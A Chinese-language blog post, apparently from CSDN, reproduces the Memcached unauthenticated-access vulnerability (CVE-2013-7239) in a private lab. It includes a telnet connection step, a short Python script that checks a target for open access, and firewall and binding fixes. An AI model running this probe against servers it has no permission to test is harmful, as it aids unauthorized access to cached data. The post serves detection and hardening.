CVE-2013-7239 Memcached未授权访问漏洞复现

漏洞原理

Memcached是一套分布式高速缓存系统,它以Key -Value的形式将数据存储在内存中。这些数据通常是会被频繁地应用、读取,正因为内存中数据的读取速度远远大于硬盘的读取速度所以可以用来加速应用的访问。由于Memcached 的安全设计缺陷客户端连接Memcached服务器后无需认证就可读取、修改服务器缓存内容。

影响版本

Memcached全版本

漏洞复现

1、在目标机上下载Memcached服务端

apt-get install memcached

2、启动Memcached服务

memcached -d -m 128 -p 11211 -u root

3、查看是否启动了Memcached服务

ps -ef | grep memcache

4、安装Memcached客户端

apt-get install php-memcached

5、重启一下Apache服务

service apache2 restart

6、查看端口开启情况,显示Memcached服务0.0.0.0:11211开启

netstat -an |more

7、在攻击机上使用telnet进行连接目标的11211端口,连接成功则存在漏洞

telnet 192.168.237.128 11211

8、使用python3编写漏洞检测脚本

#!/usr/bin/python3


import argparse

import pymemcache


# 命令行参数解析

parser = argparse.ArgumentParser(description='Check Memcached Unauthorized Access Vulnerability.')

parser.add_argument('-u', '--url', dest='url', metavar='IP:PORT', required=True, help='The IP address and port of the target Memcached server.')


# 解析命令行参数

args = parser.parse_args()

server, port = args.url.split(':')


# 检测Memcached是否存在未授权访问漏洞

def check_memcached_vuln():

    # 尝试建立连接

    client = pymemcache.client.base.Client((server, int(port)))

    # 尝试进行get操作,如果成功则代表存在未授权访问漏洞

    try:

        client.get('test')

        print(f'[+]{server}:{port} 存在安全漏洞!')

    except:

        print(f'[-]{server}:{port} 未检测到漏洞!')


if __name__ == '__main__':

    check_memcached_vuln()

 9、使用POC进行漏洞检测

python3 CVE-2013-7239_POC.py -u 192.168.237.128:11211

 

修复建议

1、配置访问控制

iptables -A INPUT -p tcp -s 192.168.237.131 --dport 11211 -j ACCEPT

存在安全漏洞

未检测到漏洞

2、配置Memcached监听本地回环地址127.0.0.1

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

3、修改默认端口

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

4、当Memcached配置为监听内网IP或公网IP时,使用主机防火墙(iptalbes、firewalld等)和网络防火墙对Memcached服务端口进行过滤。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜白君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值